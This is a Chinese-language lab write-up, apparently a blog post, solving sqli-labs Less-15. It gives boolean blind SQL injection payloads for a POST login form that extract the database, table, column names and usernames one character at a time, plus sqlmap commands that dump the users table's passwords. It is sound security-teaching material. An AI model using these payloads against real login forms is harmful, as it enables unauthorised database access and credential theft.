sqli-labs:Less-15关卡详细解析
1. 思路🚀
本关的SQL语句为:
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
- 注入类型:字符串型(单引号包裹)、POST请求
- 提示:参数需以
'
闭合
php
输出语句的部分代码:
if($row)
{//echo '<font color= "#0000ff">'; echo "<br>";echo '<font color= "#FFFF00" font size = 4>';//echo " You Have successfully logged in\n\n " ;echo '<font size="3" color="#0000ff">'; echo "<br>";//echo 'Your Login name:'. $row['username'];echo "<br>";//echo 'Your Password:' .$row['password'];echo "<br>";echo "</font>";echo "<br>";echo "<br>";echo '<img src="../images/flag.jpg" />'; echo "</font>";}
同样没有回显语句,根据本关卡标题选择布尔盲注
,那么就顺便学习一下:
- 布尔盲注✅
- 时间盲注
- 报错盲注
2. 手工注入步骤🎯
我的地址栏是:http://localhost:8081/Less-15/
,只需要将下面的url
和post data
放入对应位置,粘贴即可。
2.1. 判断能否注入⚡
uname=1' or 1=1 #
&passwd=admin&submit=Submit
uname=1' or 1=2 #
&passwd=admin&submit=Submit
我们会发现是通过是否登录成功的标语
判断是否能注入的,之前用的都是order by n
,但是在本关卡不好使。而且用的是or
连接两个逻辑判断,前一个必定为假,因为没有用户的账号名为1
的,所以能否登录成功就取决于后面一条逻辑的判断。
2.2. 获取数据库⚡
只有下面的sql语句才会显示登录成功的标语,其余都不能。
# 先判断长度
uname=1' or length(database())=8 #
# 再排查名字
uname=1' or substr((database()),1,1)='s' #
uname=1' or substr((database()),2,1)='e' #
uname=1' or substr((database()),3,1)='c' #
uname=1' or substr((database()),4,1)='u' #
uname=1' or substr((database()),5,1)='r' #
uname=1' or substr((database()),6,1)='i' #
uname=1' or substr((database()),7,1)='t' #
uname=1' or substr((database()),8,1)='y' # &passwd=admin&submit=Submit
2.3. 获取表名⚡
# 先判断长度
uname=1' or (select length(table_name) from information_schema.tables where table_schema=database() limit 3,1)=5 #
# 再排查名字
uname=1' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 1, 1)='u' #
uname=1' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 2, 1)='s' #
uname=1' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 3, 1)='e' #
uname=1' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 4, 1)='r' #
uname=1' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 5, 1)='s' # &passwd=admin&submit=Submit
2.4. 获取字段⚡
下面是获取username
字段,类比一下获取password
字段。
# 先判断长度
uname=1' or (select length(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1)=8 #
# 再排查名字
uname=1' or substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 1, 1)='u' #
uname=1' or substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 2, 1)='s' #
uname=1' or substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 3, 1)='e' #
uname=1' or substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 4, 1)='r' #
uname=1' or substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 5, 1)='n' #
uname=1' or substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 6, 1)='a' #
uname=1' or substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 7, 1)='m' #
uname=1' or substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 8, 1)='e' # &passwd=admin&submit=Submit
2.5. 获取数据⚡
同理可以获取第一个用户的密码,第二个用户的账号密码。
uname=1' or substr((select username from users limit 0,1), 1, 1)='D' #
uname=1' or substr((select username from users limit 0,1), 2, 1)='u' #
uname=1' or substr((select username from users limit 0,1), 3, 1)='m' #
uname=1' or substr((select username from users limit 0,1), 4, 1)='b' # &passwd=admin&submit=Submit
2.6. 参数汇总表⭐
参数 | 作用 | 示例 |
---|---|---|
' | 闭合符号 | id=1' |
# | 注释符 | # |
length | 获取长度 | length(database) |
substr | 截取子串 | substr(str,x,1) |
information_schema | 系统数据库 | from information_schema.tables |
table_schema | 数据库名称 | table_schema='security' |
table_name | 数据表名称 | table_name='users' |
column_name | 字段名称 | group_concat(column_name) |
3. SQLMap工具测试🎯
url
地址换成自己的,比如:http://localhost:8081/Less-15/
,由于本关卡为post
请求,需要加参数指明请求格式,
--data="uname=1&passwd=123456"
,uname
与passwd
的值随意,具体如下:⭐
# 检测注入点
python sqlmap.py -u "http://localhost:8081/Less-15/" --data="uname=1&passwd=123456" --batch# 爆数据库
python sqlmap.py -u "url" --data="uname=1&passwd=123456" --dbs --batch# 爆表名
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security -T users --columns --batch# 爆数据
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security -T users -C id,username,password --dump --batch
命令1截图:
命令5截图:
SQLMap参数表⭐
参数 | 功能 |
---|---|
--data | 指定post 请求 |
--batch | 非交互模式 |
--dbs | 枚举数据库 |
-D | 指定数据库 |
-T | 指定表 |
-C | 指定列 |
--dump | 导出数据 |
4. 总结🏁
关于post
请求,本关卡与关卡11的解法相仿,但关卡11的解析更为详细,欢迎大家移步"sqli-labs:Less-11关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149805916?spm=1011.2124.3001.6209
有关报错盲注的解析,关卡8最为详细,欢迎移步"sqli-labs:Less-8关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149797430?spm=1011.2124.3001.6209
声明:本文仅用于安全学习,严禁非法测试! ❗❗❗